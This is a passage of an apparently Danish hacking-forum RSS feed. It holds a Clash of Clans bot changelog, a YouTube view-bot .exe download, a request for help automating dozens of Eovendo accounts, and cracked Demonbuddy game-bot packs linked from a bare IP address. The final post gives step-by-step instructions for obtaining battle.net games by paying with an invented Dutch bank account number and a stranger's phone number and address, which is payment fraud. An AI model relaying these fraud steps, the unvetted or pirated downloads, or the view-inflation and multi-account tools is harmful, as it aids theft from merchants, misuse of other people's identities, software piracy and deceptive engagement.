<li>Gold + Elixir condition added<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">ATTACK TAB</span></span><br />
</li>
<li>Dual options for livebase and deadbase<br />
</li>
<li>Clan Castle balance D/R ratio<br />
</li>
<li>Added preset list of troops to be used while attacking<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">ADVANCED ATTACK TAB</span></span><br />
</li>
<li>TH Bully can be (and must be) used with attack settings from deadbase or livebase<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">END BATTLE TAB</span></span><br />
</li>
<li>Add option exit if resources lower than the set values<br />
</li>
<li>Add option exit if no resourcea left<br />
</li>
<li>Add option exit if one or two stars earned<br />
</li>
<li>Enable sharing replay<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">DONATE TAB</span></span><br />
</li>
<li>Donate custom troops<br />
</li>
<li>Latin Alphabetic + Numbers + special characters ( like ñ , ç and ã ) , special Turkish and Russian characters. <br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">MISC TAB</span></span><br />
</li>
<li>Moved here halt attack options from log tab<br />
</li>
<li>Multiple profiles<br />
</li>
<li>Added option auto clear Tombstones<br />
</li>
<li>Minimum resource values that should be met to restart attacking after halting attack because of low resources<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">UPGRADE TAB</span></span><br />
</li>
<li>Add upgrade Buildings and Heroes<br />
</li>
<li>Add save one Builder for walls<br />
</li>
<li>Add upgrade Laboratory<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">NOTIFY TAB</span></span><br />
</li>
<li>Add restart command<br />
</li>
<li>Add stop command<br />
</li>
<li>Add Army camp full notification<br />
</li>
<li>Compliant to new Pushbullet API syntax<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">EXPERT TAB</span></span><br />
</li>
<li>Check latest version<br />
</li>
<li>Auto delete log and temp files older than date<br />
</li>
<li>Check Game language (English is needed for bot)<br />
</li>
<li>Set delay for slow pc<br />
</li>
<li>Automatic press start button on-load<br />
</li>
<li>Automatic positioning of BlueStacks and Bot windows when start button pressed<br />
</li>
<li>Write log coordinates<br />
</li>
<li>Make screenshot in PNG format (jpg as default)<br />
</li>
<li>Donate CC, Request CC and Drop CC scheduler<br />
</li>
<li>Force total army camp if not auto detected (instead of asking)<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">OTHERS</span></span><br />
</li>
<li>Two rows tabs GUI<br />
</li>
<li>Minor bug fix<br />
</li>
<li>Anti-gem spend fix : rearm, walls, build, spells, search,requestCC, ugrade heroes, train<br />
</li>
<li>New OCR recognition improved - Latin Alphabetic + special letters + numbers / Russian / Turkish<br />
</li>
<li>Debug code add <br />
</li>
</ul>
<br />
<hr class="mycode_hr" />
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">Coming soon in 4.1</span></span><br />
<ul class="mycode_list"><li>Chat request : Some Turkish letters , add more languages selectable from GUI.. <br />
</li>
<li>Upgrade Buildings v3<br />
</li>
<li>Walls Upgrade v3<br />
</li>
<li>DE Side Attack<br />
</li>
<li>Improve the TH Sniping<br />
</li>
<li>More Stats/GUI<br />
</li>
<li>Boost Barracks individual <br />
</li>
<li> ..... and collaboration directly with all good contributors in code snippet session.<br />
</li>
</ul>
]]></description>
			<content:encoded><![CDATA[UPDATE: Den nye side hedder: <a href="https://mybot.run/" target="_blank" rel="noopener" class="mycode_url">https://mybot.run/</a><br />
<br />
Der er lavet en officiel forklaring inde på siden om, hvad der er sket!<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Det er en bot til Clash of Clans! Den er gratis og open source :)<br />
</span><br />
<br />
Funktioner:<br />
<br />
<img src="https://i.imgur.com/QU8KwPK.gif" alt="[Billede: QU8KwPK.gif]" class="mycode_img" /><br />
<br />
Resten kommer til at foregå på Engelsk, da jeg ikke orker at oversætte det hele. Det er bare changelog osv.<br />
<br />
<hr class="mycode_hr" />
<span style="font-size: large;" class="mycode_size">Introduction:</span><br />
<br />
<br />
We have been working on the new version but with the major update from SC in  last week, we had to speed up the process. The new version introduces several changes in image search method, recognition of troops and letters. We try to add new features and wanted add more but the we had a lots of work with coordinates and pixel from new Update. Our priority was stabilize bot with the new features for the new update , giving to our moderators and contributors the possibility to see the process an collaborate with us directly, and they can release now and fast the Merged/Modded versions.<br />
<br />
<br />
<hr class="mycode_hr" />
<span style="font-size: large;" class="mycode_size">Essential software :</span><br />
<br />
<span style="color: #6633ff;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">READ this before installing the new bot :</span></span><ul class="mycode_list"><li>Windows Vista/7/8/8.1<br />
</li>
<li><a href="https://www.microsoft.com/en-sg/download/details.aspx?id=5555" target="_blank" rel="noopener" class="mycode_url">Microsoft Visual C++ 2010 Redistributable Package (x86)</a><br />
</li>
<li><a href="https://www.microsoft.com/da-dk/download/details.aspx?id=30653" target="_blank" rel="noopener" class="mycode_url">Microsoft .NET Framework 4.5</a><br />
</li>
<li><a href="https://gamebot.org/forums/thread-2686.html" target="_blank" rel="noopener" class="mycode_url">BlueStacks App Player 0.9.24.5311 Superuser BSEasy ROOT</a> by @swvr (Recommended)<br />
</li>
<li><a href="https://gamebot.org/forums/thread-538.html" target="_blank" rel="noopener" class="mycode_url">Windows registry 860x720</a><br />
</li>
<li>Clash Of Games Bot v4<br />
</li>
<li>DON´T USE THE OLD CONFIG FILES<br />
</li>
</ul>
<br />
<hr class="mycode_hr" />
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">Changelog:</span></span><br />
<ul class="mycode_list"><li>
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">LOG TAB</span></span><br />
</li>
<li>New attack log<br />
</li>
<li>Make a photo of your village<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">TROOPS TAB</span></span><br />
</li>
<li>Use barracks mode with dark barrack troops custom army<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">SEARCH TAB</span></span><br />
</li>
<li>Dual search tab, livebase and deadbase<br />
</li>
<li>Gold + Elixir condition added<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">ATTACK TAB</span></span><br />
</li>
<li>Dual options for livebase and deadbase<br />
</li>
<li>Clan Castle balance D/R ratio<br />
</li>
<li>Added preset list of troops to be used while attacking<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">ADVANCED ATTACK TAB</span></span><br />
</li>
<li>TH Bully can be (and must be) used with attack settings from deadbase or livebase<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">END BATTLE TAB</span></span><br />
</li>
<li>Add option exit if resources lower than the set values<br />
</li>
<li>Add option exit if no resourcea left<br />
</li>
<li>Add option exit if one or two stars earned<br />
</li>
<li>Enable sharing replay<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">DONATE TAB</span></span><br />
</li>
<li>Donate custom troops<br />
</li>
<li>Latin Alphabetic + Numbers + special characters ( like ñ , ç and ã ) , special Turkish and Russian characters. <br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">MISC TAB</span></span><br />
</li>
<li>Moved here halt attack options from log tab<br />
</li>
<li>Multiple profiles<br />
</li>
<li>Added option auto clear Tombstones<br />
</li>
<li>Minimum resource values that should be met to restart attacking after halting attack because of low resources<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">UPGRADE TAB</span></span><br />
</li>
<li>Add upgrade Buildings and Heroes<br />
</li>
<li>Add save one Builder for walls<br />
</li>
<li>Add upgrade Laboratory<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">NOTIFY TAB</span></span><br />
</li>
<li>Add restart command<br />
</li>
<li>Add stop command<br />
</li>
<li>Add Army camp full notification<br />
</li>
<li>Compliant to new Pushbullet API syntax<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">EXPERT TAB</span></span><br />
</li>
<li>Check latest version<br />
</li>
<li>Auto delete log and temp files older than date<br />
</li>
<li>Check Game language (English is needed for bot)<br />
</li>
<li>Set delay for slow pc<br />
</li>
<li>Automatic press start button on-load<br />
</li>
<li>Automatic positioning of BlueStacks and Bot windows when start button pressed<br />
</li>
<li>Write log coordinates<br />
</li>
<li>Make screenshot in PNG format (jpg as default)<br />
</li>
<li>Donate CC, Request CC and Drop CC scheduler<br />
</li>
<li>Force total army camp if not auto detected (instead of asking)<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">OTHERS</span></span><br />
</li>
<li>Two rows tabs GUI<br />
</li>
<li>Minor bug fix<br />
</li>
<li>Anti-gem spend fix : rearm, walls, build, spells, search,requestCC, ugrade heroes, train<br />
</li>
<li>New OCR recognition improved - Latin Alphabetic + special letters + numbers / Russian / Turkish<br />
</li>
<li>Debug code add <br />
</li>
</ul>
<br />
<hr class="mycode_hr" />
<span style="font-size: large;" class="mycode_size"><span style="color: #6666ff;" class="mycode_color">Coming soon in 4.1</span></span><br />
<ul class="mycode_list"><li>Chat request : Some Turkish letters , add more languages selectable from GUI.. <br />
</li>
<li>Upgrade Buildings v3<br />
</li>
<li>Walls Upgrade v3<br />
</li>
<li>DE Side Attack<br />
</li>
<li>Improve the TH Sniping<br />
</li>
<li>More Stats/GUI<br />
</li>
<li>Boost Barracks individual <br />
</li>
<li> ..... and collaboration directly with all good contributors in code snippet session.<br />
</li>
</ul>
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Youtube Views Bot]]></title>
			<link>https://www.shellsec.pw/traad-youtube-views-bot</link>
			<pubDate>Fri, 05 Dec 2014 22:42:58 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-youtube-views-bot</guid>
			<description><![CDATA[Hey guys!<br />
Jeg har lige bikset en Youtube View bot sammen i C#<br />
<br />
Det den simpelt gør er at du linker din youtube video, og den refresher siden indtil du har 305 views på din video. :) <br />
<br />
Godt lille tool hvis du er igang med at starte en ny youtube Kanal, jeg bruger den til min nye kanal <a href="https://www.youtube.com/channel/UCdt3qoBQ3iKAuLP-pZUNuPg" target="_blank" rel="noopener" class="mycode_url">https://www.youtube.com/channel/UCdt3qoB...LP-pZUNuPg</a><br />
<br />
<br />
Det er op til jer at scanne for virus, men hvis i kan bruge den til noget er det jeres! :) <br />
<br />
<a href="http://www.mediafire.com/download/e5pmkba1bui7pcp/Starckes+Youtube+Bot.exe" target="_blank" rel="noopener" class="mycode_url">http://www.mediafire.com/download/e5pmkb...be+Bot.exe</a>]]></description>
			<content:encoded><![CDATA[Hey guys!<br />
Jeg har lige bikset en Youtube View bot sammen i C#<br />
<br />
Det den simpelt gør er at du linker din youtube video, og den refresher siden indtil du har 305 views på din video. :) <br />
<br />
Godt lille tool hvis du er igang med at starte en ny youtube Kanal, jeg bruger den til min nye kanal <a href="https://www.youtube.com/channel/UCdt3qoBQ3iKAuLP-pZUNuPg" target="_blank" rel="noopener" class="mycode_url">https://www.youtube.com/channel/UCdt3qoB...LP-pZUNuPg</a><br />
<br />
<br />
Det er op til jer at scanne for virus, men hvis i kan bruge den til noget er det jeres! :) <br />
<br />
<a href="http://www.mediafire.com/download/e5pmkba1bui7pcp/Starckes+Youtube+Bot.exe" target="_blank" rel="noopener" class="mycode_url">http://www.mediafire.com/download/e5pmkb...be+Bot.exe</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Eovendo Bot]]></title>
			<link>https://www.shellsec.pw/traad-eovendo-bot</link>
			<pubDate>Mon, 21 Apr 2014 10:47:07 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-eovendo-bot</guid>
			<description><![CDATA[Ved ikke om der gik noget galt eller om i skal kigge på at opslaget er relevant, men prøver lige igen :)<br />
<br />
Jeg har ca.39 Eovendo Accounts som jeg bruger til dagligt med min Meget simpel iMacro Script, men jeg ville finde ud af noget bedre som man kunne have kørende i baggrunden eller på en Raspberry Pi(ville være idealt). Men jeg har ikke så meget erfaring med programmering endnu så måske der var en som kunne hjælpe mig på rette vej? Hvilket sprog jeg skal bruge og sådan noget :)<br />
Ved at Raspberry Pi har Python pre-installed men jeg har som sagt ikke så meget forstand på det ;)<br />
<br />
<br />
Edit: BTW har jeg opdaget det var den lidt forkerte kategori at poste i, det må i undskylde :)]]></description>
			<content:encoded><![CDATA[Ved ikke om der gik noget galt eller om i skal kigge på at opslaget er relevant, men prøver lige igen :)<br />
<br />
Jeg har ca.39 Eovendo Accounts som jeg bruger til dagligt med min Meget simpel iMacro Script, men jeg ville finde ud af noget bedre som man kunne have kørende i baggrunden eller på en Raspberry Pi(ville være idealt). Men jeg har ikke så meget erfaring med programmering endnu så måske der var en som kunne hjælpe mig på rette vej? Hvilket sprog jeg skal bruge og sådan noget :)<br />
Ved at Raspberry Pi har Python pre-installed men jeg har som sagt ikke så meget forstand på det ;)<br />
<br />
<br />
Edit: BTW har jeg opdaget det var den lidt forkerte kategori at poste i, det må i undskylde :)]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[NY UPDATE - Diablo 3 bot - Demonbuddy cracked]]></title>
			<link>https://www.shellsec.pw/traad-ny-update-diablo-3-bot-demonbuddy-cracked</link>
			<pubDate>Sun, 30 Jun 2013 17:28:12 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-ny-update-diablo-3-bot-demonbuddy-cracked</guid>
			<description><![CDATA[<div style="text-align: center;" class="mycode_align"><img src="http://s8.postimg.org/ices2qeid/c35f1340eb7e293907ea317f66bd43f7587.jpg" alt="[Billede: c35f1340eb7e293907ea317f66bd43f7587.jpg]" class="mycode_img" /><br />
<span style="color: #FF0000;" class="mycode_color">SÅ ER DER KOMMET EN UPDATED VERSION!</span><br />
<br />
Så har jeg fået smækket en lækker Demonbuddy pack sammen.<br />
Der er mine andbefalede plugins, combat routines og profiles med.<br />
Der er et tekst dokument med med link til hvor alle plugins er hentet undtaget trinity combat routine (sindsyg til barbar).<br />
<br />
<a href="http://37.49.226.212/Demonbuddy%201.0.1445.315.rar" target="_blank" rel="noopener" class="mycode_url"><img src="http://s10.postimg.org/trkmeq2bp/db_dl.png" alt="[Billede: db_dl.png]" class="mycode_img" /></a><a href="http://37.49.226.212/Demonbuddy.1.0.1439.312.YouSerious.pack.rar" target="_blank" rel="noopener" class="mycode_url"><span style="font-size: x-large;" class="mycode_size"><span style="color: #FFA500;" class="mycode_color">Demonbuddy 1.0.1439.312 YouSerious pack</span></span></a><br />
<br />
<a href="http://37.49.226.212/Demonbuddy%201.0.1445.315.rar" target="_blank" rel="noopener" class="mycode_url"><img src="http://s10.postimg.org/trkmeq2bp/db_dl.png" alt="[Billede: db_dl.png]" class="mycode_img" /></a><a href="http://37.49.226.212/Demonbuddy%201.0.1445.315.rar" target="_blank" rel="noopener" class="mycode_url"><span style="font-size: x-large;" class="mycode_size">Download Updated version her (1.0.1445.315)</span></a><br />
<br />
<span style="color: #FF0000;" class="mycode_color">Det er ikke mig det har lavet det program der er blevet brugt til at crack det. Jeg har kun brugt det, og gjort den crackede version tilgængelig for jer.</span></div>]]></description>
			<content:encoded><![CDATA[<div style="text-align: center;" class="mycode_align"><img src="http://s8.postimg.org/ices2qeid/c35f1340eb7e293907ea317f66bd43f7587.jpg" alt="[Billede: c35f1340eb7e293907ea317f66bd43f7587.jpg]" class="mycode_img" /><br />
<span style="color: #FF0000;" class="mycode_color">SÅ ER DER KOMMET EN UPDATED VERSION!</span><br />
<br />
Så har jeg fået smækket en lækker Demonbuddy pack sammen.<br />
Der er mine andbefalede plugins, combat routines og profiles med.<br />
Der er et tekst dokument med med link til hvor alle plugins er hentet undtaget trinity combat routine (sindsyg til barbar).<br />
<br />
<a href="http://37.49.226.212/Demonbuddy%201.0.1445.315.rar" target="_blank" rel="noopener" class="mycode_url"><img src="http://s10.postimg.org/trkmeq2bp/db_dl.png" alt="[Billede: db_dl.png]" class="mycode_img" /></a><a href="http://37.49.226.212/Demonbuddy.1.0.1439.312.YouSerious.pack.rar" target="_blank" rel="noopener" class="mycode_url"><span style="font-size: x-large;" class="mycode_size"><span style="color: #FFA500;" class="mycode_color">Demonbuddy 1.0.1439.312 YouSerious pack</span></span></a><br />
<br />
<a href="http://37.49.226.212/Demonbuddy%201.0.1445.315.rar" target="_blank" rel="noopener" class="mycode_url"><img src="http://s10.postimg.org/trkmeq2bp/db_dl.png" alt="[Billede: db_dl.png]" class="mycode_img" /></a><a href="http://37.49.226.212/Demonbuddy%201.0.1445.315.rar" target="_blank" rel="noopener" class="mycode_url"><span style="font-size: x-large;" class="mycode_size">Download Updated version her (1.0.1445.315)</span></a><br />
<br />
<span style="color: #FF0000;" class="mycode_color">Det er ikke mig det har lavet det program der er blevet brugt til at crack det. Jeg har kun brugt det, og gjort den crackede version tilgængelig for jer.</span></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Gratis battle.net spil og accounts (ny metode og ikke patchet)]]></title>
			<link>https://www.shellsec.pw/traad-gratis-battle-net-spil-og-accounts-ny</link>
			<pubDate>Mon, 20 May 2013 16:32:08 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-gratis-battle-net-spil-og-accounts-ny</guid>
			<description><![CDATA[Har set flere steder på HF at de sælger en metode op til 20 dollars.<br />
Jeg fik en kopi af en, som fandt den på en tråd (en kom til at poste den ved et uheld).<br />
<br />
1. Gå ind på <a href="http://nlfreevpn.com/" target="_blank" rel="noopener" class="mycode_url">http://nlfreevpn.com/</a> og få det op at køre.<br />
2. Registrer en bruger på <a href="http://eu.battle.net/" target="_blank" rel="noopener" class="mycode_url">http://eu.battle.net/</a> og vælg dit land som Holland (VIGTIGT).<br />
3. Bekræft din email<br />
4. Vælg et spil/whatever og tryk på Pay Now.<br />
5. Vælg "Automatishe Incassio" som betalingsmetode.<br />
6. Vælg således:<br />
<br />
Bank: ING<br />
Bank nummer: 7 tal<br />
Navn: Samme navn som din bruger på battle.net<br />
Gå ind på Google og find Hollandsk telefonnummer og adresse (det er ligemeget med hvem)<br />
Derefter køb spillet :)<br />
<br />
Jeg har ikke selv prøvet metoden, men har hørt fra nogle af mine venner at det virker. Prøv det!]]></description>
			<content:encoded><![CDATA[Har set flere steder på HF at de sælger en metode op til 20 dollars.<br />
Jeg fik en kopi af en, som fandt den på en tråd (en kom til at poste den ved et uheld).<br />
<br />
1. Gå ind på <a href="http://nlfreevpn.com/" target="_blank" rel="noopener" class="mycode_url">http://nlfreevpn.com/</a> og få det op at køre.<br />
2. Registrer en bruger på <a href="http://eu.battle.net/" target="_blank" rel="noopener" class="mycode_url">http://eu.battle.net/</a> og vælg dit land som Holland (VIGTIGT).<br />
3. Bekræft din email<br />
4. Vælg et spil/whatever og tryk på Pay Now.<br />
5. Vælg "Automatishe Incassio" som betalingsmetode.<br />
6. Vælg således:<br />
<br />
Bank: ING<br />
Bank nummer: 7 tal<br />
Navn: Samme navn som din bruger på battle.net<br />
Gå ind på Google og find Hollandsk telefonnummer og adresse (det er ligemeget med hvem)<br />
Derefter køb spillet :)<br />
<br />
Jeg har ikke selv prøvet metoden, men har hørt fra nogle af mine venner at det virker. Prøv det!]]></content:encoded>
		</item>
	</channel>
</rss>